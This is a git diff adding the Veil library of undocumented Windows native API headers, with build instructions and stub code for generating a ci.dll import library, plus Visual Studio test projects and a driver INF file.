Copyright and Similar Rights. + + +Section 5 -- Disclaimer of Warranties and Limitation of Liability. + + a. UNLESS OTHERWISE SEPARATELY UNDERTAKEN BY THE LICENSOR, TO THE + EXTENT POSSIBLE, THE LICENSOR OFFERS THE LICENSED MATERIAL AS-IS + AND AS-AVAILABLE, AND MAKES NO REPRESENTATIONS OR WARRANTIES OF + ANY KIND CONCERNING THE LICENSED MATERIAL, WHETHER EXPRESS, + IMPLIED, STATUTORY, OR OTHER. THIS INCLUDES, WITHOUT LIMITATION, + WARRANTIES OF TITLE, MERCHANTABILITY, FITNESS FOR A PARTICULAR + PURPOSE, NON-INFRINGEMENT, ABSENCE OF LATENT OR OTHER DEFECTS, + ACCURACY, OR THE PRESENCE OR ABSENCE OF ERRORS, WHETHER OR NOT + KNOWN OR DISCOVERABLE. WHERE DISCLAIMERS OF WARRANTIES ARE NOT + ALLOWED IN FULL OR IN PART, THIS DISCLAIMER MAY NOT APPLY TO YOU. + + b. TO THE EXTENT POSSIBLE, IN NO EVENT WILL THE LICENSOR BE LIABLE + TO YOU ON ANY LEGAL THEORY (INCLUDING, WITHOUT LIMITATION, + NEGLIGENCE) OR OTHERWISE FOR ANY DIRECT, SPECIAL, INDIRECT, + INCIDENTAL, CONSEQUENTIAL, PUNITIVE, EXEMPLARY, OR OTHER LOSSES, + COSTS, EXPENSES, OR DAMAGES ARISING OUT OF THIS PUBLIC LICENSE OR + USE OF THE LICENSED MATERIAL, EVEN IF THE LICENSOR HAS BEEN + ADVISED OF THE POSSIBILITY OF SUCH LOSSES, COSTS, EXPENSES, OR + DAMAGES. WHERE A LIMITATION OF LIABILITY IS NOT ALLOWED IN FULL OR + IN PART, THIS LIMITATION MAY NOT APPLY TO YOU. + + c. The disclaimer of warranties and limitation of liability provided + above shall be interpreted in a manner that, to the extent + possible, most closely approximates an absolute disclaimer and + waiver of all liability. + + +Section 6 -- Term and Termination. + + a. This Public License applies for the term of the Copyright and + Similar Rights licensed here. However, if You fail to comply with + this Public License, then Your rights under this Public License + terminate automatically. + + b. Where Your right to use the Licensed Material has terminated under + Section 6(a), it reinstates: + + 1. automatically as of the date the violation is cured, provided + it is cured within 30 days of Your discovery of the + violation; or + + 2. upon express reinstatement by the Licensor. + + For the avoidance of doubt, this Section 6(b) does not affect any + right the Licensor may have to seek remedies for Your violations + of this Public License. + + c. For the avoidance of doubt, the Licensor may also offer the + Licensed Material under separate terms or conditions or stop + distributing the Licensed Material at any time; however, doing so + will not terminate this Public License. + + d. Sections 1, 5, 6, 7, and 8 survive termination of this Public + License. + + +Section 7 -- Other Terms and Conditions. + + a. The Licensor shall not be bound by any additional or different + terms or conditions communicated by You unless expressly agreed. + + b. Any arrangements, understandings, or agreements regarding the + Licensed Material not stated herein are separate from and + independent of the terms and conditions of this Public License. + + +Section 8 -- Interpretation. + + a. For the avoidance of doubt, this Public License does not, and + shall not be interpreted to, reduce, limit, restrict, or impose + conditions on any use of the Licensed Material that could lawfully + be made without permission under this Public License. + + b. To the extent possible, if any provision of this Public License is + deemed unenforceable, it shall be automatically reformed to the + minimum extent necessary to make it enforceable. If the provision + cannot be reformed, it shall be severed from this Public License + without affecting the enforceability of the remaining terms and + conditions. + + c. No term or condition of this Public License will be waived and no + failure to comply consented to unless expressly agreed to by the + Licensor. + + d. Nothing in this Public License constitutes or may be interpreted + as a limitation upon, or waiver of, any privileges and immunities + that apply to the Licensor or You, including from the legal + processes of any jurisdiction or authority. + + +======================================================================= + +Creative Commons is not a party to its public +licenses. Notwithstanding, Creative Commons may elect to apply one of +its public licenses to material it publishes and in those instances +will be considered the “Licensor.” The text of the Creative Commons +public licenses is dedicated to the public domain under the CC0 Public +Domain Dedication. Except for the limited purpose of indicating that +material is shared under a Creative Commons public license or as +otherwise permitted by the Creative Commons policies published at +creativecommons.org/policies, Creative Commons does not authorize the +use of the trademark "Creative Commons" or any other trademark or logo +of Creative Commons without its prior written consent including, +without limitation, in connection with any unauthorized modifications +to any of its public licenses or any other arrangements, +understandings, or agreements concerning use of licensed material. For +the avoidance of doubt, this paragraph does not form part of the +public licenses. + +Creative Commons may be contacted at creativecommons.org. diff --git a/include/Veil/Library/README.Ci.md b/include/Veil/Library/README.Ci.md new file mode 100644 index 0000000..e587aa1 --- /dev/null +++ b/include/Veil/Library/README.Ci.md @@ -0,0 +1,82 @@ +# Generating import libraries (.lib files) + +Usually when linking with a certain dll, you’d use an import library provided by the vendor. +In our case, no such ci.lib file is provided and we need to generate it ourselves. +This lib file should be added as a linker input in the project properties. + +## 64 bit + +Get the exported functions from the dll, using dumpbin utility: + +`dumpbin /EXPORTS c:\windows\system32\ci.dll` + +Create a .def file. It will looks something like this: + +```c +LIBRARY ci.dll +EXPORTS + CiValidateFileAsImageType @1 NONAME + CiRegisterSigningInformation @2 NONAME + CiUnregisterSigningInformation @3 NONAME + CiCheckSignedFile + CiFindPageHashesInCatalog + CiFindPageHashesInSignedFile + CiFreePolicyInfo + CiGetCertPublisherName + CiGetPEInformation + CiInitialize + CiSetTrustedOriginClaimId + CiValidateFileObject + CiVerifyHashInCatalog +``` + +Generate the .lib file using the lib utility: + +`lib /def:ci.def /machine:x64 /out:ci.lib` + + +## 32 bit + +Here the situation gets a bit trickier, since in 32bit the functions are decorated to +include the sum of the arguments (in bytes), for example: + +`CiFreePolicyInfo@4` + +But ci.dll is exporting the functions in their non-decorated shape, so we need to create a .lib file that makes this translation. + +- Follow the first two steps of the 64bit section above. + +- Create a C++ file with function stubs - the same signature but dummy body. You basically mimic what the vendor did when exporting + the functions from their code. For example: + +```c +_IRQL_requires_max_(PASSIVE_LEVEL) +PVOID +NTAPI +CiFreePolicyInfo( + _In_ MINCRYPT_POLICY_INFO* PolicyInfo +) +{ + UNREFERENCED_PARAMETER(PolicyInfo); + return nullptr; +} +``` + +An example of such file is included in this repo under the name Stub.Ci.cpp + +- Compile it into an OBJ file. + +```bat + +> SET KM_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\km" +> SET CRT_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\km\crt" +> SET KIT_SHARED_IncludePath="C:\Program Files (x86)\Windows Kits\10\Include\10.0.22000.0\shared" +> +> cl Stub.Ci.cpp /c /kernel /Zc:wchar_t /I%KM_IncludePath% /I%CRT_IncludePath% /I%KIT_SHARED_IncludePath% /D _X86_=1 /D i386=1 /DSTD_CALL /D_MINCRYPT_LIB +``` + +- Generate the .lib file using the lib utility, this time with the OBJ file: + +```bat +> lib /def:ci.def /machine:x86 /out:ci.lib Stub.Ci.obj +``` diff --git a/include/Veil/Library/Stub.Ci.cpp b/include/Veil/Library/Stub.Ci.cpp new file mode 100644 index 0000000..9f992cd --- /dev/null +++ b/include/Veil/Library/Stub.Ci.cpp @@ -0,0 +1,142 @@ +#include "../Veil.h" + +EXTERN_C_START + +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiCheckSignedFile( + _In_ PVOID Hash, + _In_ UINT32 HashSize, + _In_ ALG_ID HashAlgId, + _In_ PVOID SecurityDirectory, + _In_ UINT32 SizeOfSecurityDirectory, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo +) +{ + UNREFERENCED_PARAMETER(Hash); + UNREFERENCED_PARAMETER(HashSize); + UNREFERENCED_PARAMETER(HashAlgId); + UNREFERENCED_PARAMETER(SecurityDirectory); + UNREFERENCED_PARAMETER(SizeOfSecurityDirectory); + UNREFERENCED_PARAMETER(PolicyInfo); + UNREFERENCED_PARAMETER(SigningTime); + UNREFERENCED_PARAMETER(TimeStampPolicyInfo); + + return STATUS_SUCCESS; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiVerifyHashInCatalog( + _In_ PVOID Hash, + _In_ UINT32 HashSize, + _In_ ALG_ID HashAlgId, + _In_ BOOLEAN IsReloadCatalogs, + _In_ UINT32 Always0, // This is for IsReloadCatalogs, Always0 != 0 ? 16 : 24; + _In_ UINT32 Always2007F, + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_opt_ UNICODE_STRING* CatalogName, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo +) +{ + UNREFERENCED_PARAMETER(Hash); + UNREFERENCED_PARAMETER(HashSize); + UNREFERENCED_PARAMETER(HashAlgId); + UNREFERENCED_PARAMETER(IsReloadCatalogs); + UNREFERENCED_PARAMETER(Always0); + UNREFERENCED_PARAMETER(Always2007F); + UNREFERENCED_PARAMETER(PolicyInfo); + UNREFERENCED_PARAMETER(CatalogName); + UNREFERENCED_PARAMETER(SigningTime); + UNREFERENCED_PARAMETER(TimeStampPolicyInfo); + + return STATUS_SUCCESS; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +NTSTATUS +NTAPI +CiValidateFileObject( + _In_ FILE_OBJECT* FileObject, + _In_opt_ UINT32 Unkonwn1, // 0 is a valid value. if it is 4, select sha256 + _In_opt_ UINT32 Unkonwn2, // 0 is a valid value. + _Out_ MINCRYPT_POLICY_INFO* PolicyInfo, + _Out_ MINCRYPT_POLICY_INFO* TimeStampPolicyInfo, + _Out_ LARGE_INTEGER* SigningTime, + _Out_ UINT8* Hash, + _Inout_ UINT32* HashSize, + _Out_ ALG_ID* HashAlgId +) +{ + UNREFERENCED_PARAMETER(FileObject); + UNREFERENCED_PARAMETER(Unkonwn1); + UNREFERENCED_PARAMETER(Unkonwn2); + UNREFERENCED_PARAMETER(PolicyInfo); + UNREFERENCED_PARAMETER(TimeStampPolicyInfo); + UNREFERENCED_PARAMETER(SigningTime); + UNREFERENCED_PARAMETER(Hash); + UNREFERENCED_PARAMETER(HashSize); + UNREFERENCED_PARAMETER(HashAlgId); + + return STATUS_SUCCESS; +} + +_IRQL_requires_max_(PASSIVE_LEVEL) +MINCRYPTAPI +PVOID +NTAPI +CiFreePolicyInfo( + _In_ MINCRYPT_POLICY_INFO* PolicyInfo +) +{ + UNREFERENCED_PARAMETER(PolicyInfo); + + return nullptr; +} + +typedef +_IRQL_requires_same_ +_Function_class_(MINCRYPT_ALLOCATE_ROUTINE) +__drv_allocatesMem(Mem) +PVOID +NTAPI +MINCRYPT_ALLOCATE_ROUTINE ( + _In_ SIZE_T ByteSize + ); +typedef MINCRYPT_ALLOCATE_ROUTINE *PMINCRYPT_ALLOCATE_ROUTINE; + +MINCRYPTAPI +INT +NTAPI +CiGetCertPublisherName( + _In_ MINCERT_BLOB* Certificate, + _In_ PMINCRYPT_ALLOCATE_ROUTINE AllocateRoutine, + _Out_ PUNICODE_STRING PublisherName +) +{ + UNREFERENCED_PARAMETER(Certificate); + UNREFERENCED_PARAMETER(AllocateRoutine); + UNREFERENCED_PARAMETER(PublisherName); + + return 0; +} + +MINCRYPTAPI +VOID +NTAPI +CiSetTrustedOriginClaimId( + _In_ UINT32 ClaimId +) +{ + UNREFERENCED_PARAMETER(ClaimId); +} + +EXTERN_C_END diff --git a/include/Veil/Library/ci.def b/include/Veil/Library/ci.def new file mode 100644 index 0000000..abbab7d --- /dev/null +++ b/include/Veil/Library/ci.def @@ -0,0 +1,15 @@ +LIBRARY ci.dll +EXPORTS + ;CiValidateFileAsImageType @1 NONAME + ;CiRegisterSigningInformation @2 NONAME + ;CiUnregisterSigningInformation @3 NONAME + CiCheckSignedFile + ;CiFindPageHashesInCatalog + ;CiFindPageHashesInSignedFile + CiFreePolicyInfo + CiGetCertPublisherName + ;CiGetPEInformation + ;CiInitialize + CiSetTrustedOriginClaimId + CiValidateFileObject + CiVerifyHashInCatalog diff --git a/include/Veil/README.Zh-CN.md b/include/Veil/README.Zh-CN.md new file mode 100644 index 0000000..adb7816 --- /dev/null +++ b/include/Veil/README.Zh-CN.md @@ -0,0 +1,25 @@ +# 面纱 (veil) + +* [English](README.md) + +`面纱`是 Windows 的原生 API 定义集合。采用`面纱`这个名字,寓意为揭开 Windows 的面纱,窥探隐藏在背后的面貌。 + +该项目包含了来自 `ntdll.dll`、`samlib.dll` 和 `winsta.dll` 的 Windows 内部未文档化的 API 定义。 + +该项目基于 [processhacker/phnt](https://github.com/processhacker/phnt) 和 [Chuyu-Team/MINT](https://github.com/Chuyu-Team/MINT) 分支修改,集合两个项目的优点。 + +* 可以用于内核模式和用户模式。 +* 支持使用 `/W4` `/WX` 选项编译。 +* 适配 Windows SDK。 +* API 由 Windows SDK 版本宏管理。 + +## 如何使用 + +首先,请确保您的程序使用的是最新的 Windows SDK。然后克隆项目,直接 include 即可。 + +```C +// 如果你不想污染全局空间的话,请包含以下宏定义 +#define VEIL_USE_SEPARATE_NAMESPACE + +#include "veil.h" +``` diff --git a/include/Veil/README.md b/include/Veil/README.md new file mode 100644 index 0000000..2a424c8 --- /dev/null +++ b/include/Veil/README.md @@ -0,0 +1,26 @@ +# veil + +* [简体中文](README.Zh-CN.md) + +`veil` is a collection of Native API definitions for Windows. Take the name `veil`, which means to lift the veil of Windows and spy on the face hidden behind. + +This project contains the definitions for the Windows internal undocumented API from `ntdll.dll`, `samlib.dll` and `winsta.dll`. + +This project is based on the [processhacker/phnt](https://github.com/processhacker/phnt) and [Chuyu-Team/MINT](https://github.com/Chuyu-Team/MINT) fork modifications, combining the advantages of the two projects. + +* Both user-mode and kernel-mode are supported. +* Compiling using the /W4 /WX option is supported. +* Optimized for the Windows SDK. +* The API is managed by Windows SDK version macros. + +## How to use + +First make sure that your program is using the latest Windows SDK. +Then clone and include it. + +```C +// If you wonder to use separate namespace, please define the following macro. +#define VEIL_USE_SEPARATE_NAMESPACE + +#include "veil.h" +``` diff --git a/include/Veil/Veil.Test/My.Cpp.Default.props b/include/Veil/Veil.Test/My.Cpp.Default.props new file mode 100644 index 0000000..88f8893 --- /dev/null +++ b/include/Veil/Veil.Test/My.Cpp.Default.props @@ -0,0 +1,22 @@ + + + + + + $(SolutionDir)Build\$(PlatformShortName)\$(Configuration)\ + $(SolutionDir)Build\.objs\$(MSBuildProjectName.ToLower())\$(PlatformShortName.ToLower())\$(Configuration.ToLower())\ + + + + + + true + stdcpp17 + Level4 + true + true + $(IntDir)anyname\%(RelativeDir)%(FileName).obj + + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.Kernel.inf b/include/Veil/Veil.Test/Veil.Test.Kernel.inf new file mode 100644 index 0000000..86acc02 --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.Kernel.inf @@ -0,0 +1,117 @@ +; +; Veil.Test.Kernel.inf +; + +;------------------------------------------------------------------------- +; Veil.Test.Kernel.INF -- Device Driver +; +; Copyright (c) 2019, Microsoft.Com LLC. All rights reserved. +;------------------------------------------------------------------------ + +; INF MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/roadmap-for-device-and-driver-installation--windows-vista-and-later- +; +; Class And ClassGuid MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/file-system-filter-driver-classes-and-class-guids +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/system-defined-device-setup-classes-available-to-vendors +[Version] +Signature = "$WINDOWS NT$" +Class = System +ClassGuid ={4d36e97d-e325-11ce-bfc1-08002be10318} +Provider = %ManufacturerName% +CatalogFile = %DriverName%.cat +DriverVer = +PnpLockdown = 1 + + +;------------------------------------------------------------------------- +; Installation Section +;------------------------------------------------------------------------- + + +; DestinationDirs MSDN +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-destinationdirs-section +[DestinationDirs] +DefaultDestDir = 12 + + +; SourceDisksNames MSDN +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-sourcedisksnames-section +[SourceDisksNames] +1 = %DiskName%,,,"" + + +; SourceDisksFiles MSDN +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-sourcedisksfiles-section +; Each filename entry must specify the exact name of a file on the source disk. +; You cannot use a %strkey% token to specify the file name. +[SourceDisksFiles] +Veil.Test.Kernel.sys = 1,, + + +; Copyfiles MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-copyfiles-directive +[Install.Copyfiles] +%DriverName%.sys,%DriverName%.sys,,0x00004022 ; COPYFLG_NOSKIP | COPYFLG_NO_VERSION_DIALOG | COPYFLG_IN_USE_RENAME + + +; Delfiles MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-delfiles-directive +[Install.Delfiles] +%DriverName%.sys + + +;------------------------------------------------------------------------- +; Service installation support +;------------------------------------------------------------------------- + + +[DefaultInstall] +CopyFiles =Install.Copyfiles + + +; LegacyUninstall MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/develop/creating-a-primitive-driver +[DefaultUninstall] +LegacyUninstall = 1 +DelFiles = Install.Delfiles + + +[DefaultInstall.Services] +; You may want to add the SPSVCINST_STARTSERVICE flag, like this: +; AddService=%ServiceName%,0x800,InstallService.Arch ; SPSVCINST_STARTSERVICE +; AddService MSDN +; SPSVCINST_STARTSERVICE=0x800 +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-addservice-directive +AddService = %ServiceName%,0x000,InstallService + +; SPSVCINST_STOPSERVICE=0x200 +; DelService MSDN: +; https://docs.microsoft.com/en-us/windows-hardware/drivers/install/inf-delservice-directive +[DefaultUninstall.Services] +DelService = %ServiceName%,0x200 + + +[InstallService] +DisplayName = %ServiceName% +Description = %ServiceDesc% +ServiceBinary = %12%\%DriverName%.sys +ServiceType = 1 ; SERVICE_KERNEL_DRIVER +StartType = 3 ; 0 = SERVICE_BOOT_START + ; 1 = SERVICE_SYSTEM_START + ; 2 = SERVICE_AUTO_START + ; 3 = SERVICE_DEMAND_START + ; 4 = SERVICE_DISABLED +ErrorControl = 1 ; SERVICE_ERROR_NORMAL + +;------------------------------------------------------------------------- +; Strings section +;------------------------------------------------------------------------- + + +[Strings] +ManufacturerName = "Kaku" +DriverName = "Veil.Test.Kernel" +ServiceName = "Veil.Test" +ServiceDesc = "Veil.Test Driver" +DiskName = "Veil.Test.Kernel Source Disk" diff --git a/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj b/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj new file mode 100644 index 0000000..a526dbc --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj @@ -0,0 +1,136 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C} + {dd38f7fc-d7bd-488b-9242-7d8754cde80d} + v4.5 + 12.0 + Debug + Win32 + Veil_Test_Kernel + + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + true + WindowsKernelModeDriver10.0 + Driver + WDM + + + Windows10 + false + WindowsKernelModeDriver10.0 + Driver + WDM + + + + + + + + + + + + + + + + + + + + + + + DbgengKernelDebugger + + + DbgengKernelDebugger + + + DbgengKernelDebugger + true + + + DbgengKernelDebugger + + + + sha256 + + + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + + + sha256 + + + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + + + sha256 + + + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + + + sha256 + + + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj.filters b/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj.filters new file mode 100644 index 0000000..f90b8fe --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.Kernel.vcxproj.filters @@ -0,0 +1,17 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + h;hpp;hxx;hm;inl;inc;xsd;cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + + + Source + + + + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.Main.cpp b/include/Veil/Veil.Test/Veil.Test.Main.cpp new file mode 100644 index 0000000..91115f7 --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.Main.cpp @@ -0,0 +1,11 @@ +#include + +#ifdef _KERNEL_MODE +EXTERN_C NTSTATUS DriverEntry(PDRIVER_OBJECT /*DriverObject*/, PUNICODE_STRING /*RegistryPath*/) +#else +int main(int /*argc*/, char* /*argv*/[]) +#endif // _KERNEL_MODE +{ + + return STATUS_SUCCESS; +} diff --git a/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj b/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj new file mode 100644 index 0000000..0b80fa4 --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj @@ -0,0 +1,155 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + + + + 16.0 + Win32Proj + {5e94fd3f-3f19-4c3e-b7de-43cb0877224f} + VeilTest + Veil.Test.UserMode + + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + Application + true + v142 + Unicode + + + Application + false + v142 + true + Unicode + + + + + + + + + + + + + + + + + + + + + + + + + true + + + false + + + true + + + false + + + + Level3 + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + Console + true + + + + + Level3 + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + Console + true + true + true + + + + + Level3 + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + Console + true + + + + + Level3 + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + $(SolutionDir)..\;%(AdditionalIncludeDirectories) + + + Console + true + true + true + + + + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj.filters b/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj.filters new file mode 100644 index 0000000..8fa933c --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.UserMode.vcxproj.filters @@ -0,0 +1,14 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd;cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx + + + + + Source + + + \ No newline at end of file diff --git a/include/Veil/Veil.Test/Veil.Test.sln b/include/Veil/Veil.Test/Veil.Test.sln new file mode 100644 index 0000000..d1b3444 --- /dev/null +++ b/include/Veil/Veil.Test/Veil.Test.sln @@ -0,0 +1,45 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.32228.343 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Veil.Test.UserMode", "Veil.Test.UserMode.vcxproj", "{5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}" +EndProject +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Veil.Test.Kernel", "Veil.Test.Kernel.vcxproj", "{D4C32B71-563D-41B9-906D-D9BA4DF46C7C}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x64.ActiveCfg = Debug|x64 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x64.Build.0 = Debug|x64 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x86.ActiveCfg = Debug|Win32 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Debug|x86.Build.0 = Debug|Win32 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x64.ActiveCfg = Release|x64 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x64.Build.0 = Release|x64 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x86.ActiveCfg = Release|Win32 + {5E94FD3F-3F19-4C3E-B7DE-43CB0877224F}.Release|x86.Build.0 = Release|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.ActiveCfg = Debug|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.Build.0 = Debug|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x64.Deploy.0 = Debug|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.ActiveCfg = Debug|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.Build.0 = Debug|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Debug|x86.Deploy.0 = Debug|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.ActiveCfg = Release|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.Build.0 = Release|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x64.Deploy.0 = Release|x64 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.ActiveCfg = Release|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.Build.0 = Release|Win32 + {D4C32B71-563D-41B9-906D-D9BA4DF46C7C}.Release|x86.Deploy.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {D3989A88-8A9B-4341-A68A-5B8762A91497} + EndGlobalSection +EndGlobal diff --git a/include/Veil/Veil.h b/include/Veil/Veil.h new file mode 100644 index 0000000..32a4d08 --- /dev/null +++ b/include/Veil/Veil.h @@ -0,0 +1,160 @@ +/* + * PROJECT: Veil + * FILE: Veil.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: MiroKaku (50670906+MiroKaku@users.noreply.github.com) + */ + +/* + * PROJECT: Mouri's Internal NT API Collections (MINT) + * FILE: MINT.h + * PURPOSE: Definition for the Windows Internal API from ntdll.dll, + * samlib.dll and winsta.dll + * + * LICENSE: Relicensed under The MIT License from The CC BY 4.0 License + * + * DEVELOPER: Mouri_Naruto (Mouri_Naruto AT Outlook.com) + */ + +/* + * This file is part of the Process Hacker project - https://processhacker.sf.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#pragma once + +#ifdef __cplusplus +#ifdef VEIL_USE_SEPARATE_NAMESPACE +#define VEIL_BEGIN() namespace Veil { extern "C" { +#define VEIL_END() } } +#else +#define VEIL_BEGIN() extern "C" { +#define VEIL_END() } +#endif +#else +#ifdef VEIL_USE_SEPARATE_NAMESPACE +#define VEIL_BEGIN() namespace Veil { +#define VEIL_END() } +#else +#define VEIL_BEGIN() +#define VEIL_END() +#endif +#endif + + +#ifndef __cplusplus +#ifndef CINTERFACE +#define CINTERFACE +#endif + +#ifndef COBJMACROS +#define COBJMACROS +#endif +#endif + +#ifndef __cplusplus +// This is needed to workaround C17 preprocessor errors when using legacy versions of the Windows SDK. (dmex) +#ifndef MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS +#define MICROSOFT_WINDOWS_WINBASE_H_DEFINE_INTERLOCKED_CPLUSPLUS_OVERLOADS 0 +#endif +#endif + +#if !defined(_KERNEL_MODE) + +// +// User-Mode +// + +struct IUnknown; + +// This header file provides access to Win32, plus NTSTATUS values and some access mask values. + +#define WINDOWS_IGNORE_PACKING_MISMATCH +#define UMDF_USING_NTSTATUS + +#include +#include +#include + +#pragma comment(lib, "ntdll.lib") + +#if _DEBUG +#define DBG _DEBUG +#endif + +#else + +// +// Kernel-Mode +// + +#include +#include + +#endif + + +#define NTDDI_WIN6 0x06000000 // Windows Vista +#define NTDDI_WIN6SP1 0x06000100 // Windows Vista SP1 +#define NTDDI_WIN6SP2 0x06000200 // Windows Vista SP2 +#define NTDDI_WIN6SP3 0x06000300 // Windows Vista SP3 +#define NTDDI_WIN6SP4 0x06000400 // Windows Vista SP4 + +#define NTDDI_VISTA NTDDI_WIN6 +#define NTDDI_VISTASP1 NTDDI_WIN6SP1 +#define NTDDI_VISTASP2 NTDDI_WIN6SP2 +#define NTDDI_VISTASP3 NTDDI_WIN6SP3 +#define NTDDI_VISTASP4 NTDDI_WIN6SP4 + +#define NTDDI_LONGHORN NTDDI_VISTA // Windows Vista + +#define NTDDI_WS08 NTDDI_WIN6SP1 // Windows Server 2008 +#define NTDDI_WS08SP2 NTDDI_WIN6SP2 // Windows Server 2008 SP2 +#define NTDDI_WS08SP3 NTDDI_WIN6SP3 // Windows Server 2008 SP3 +#define NTDDI_WS08SP4 NTDDI_WIN6SP4 // Windows Server 2008 SP4 + +#define NTDDI_WIN7 0x06010000 // Windows 7 +#define NTDDI_WIN8 0x06020000 // Windows 8 +#define NTDDI_WINBLUE 0x06030000 // Windows 8.1 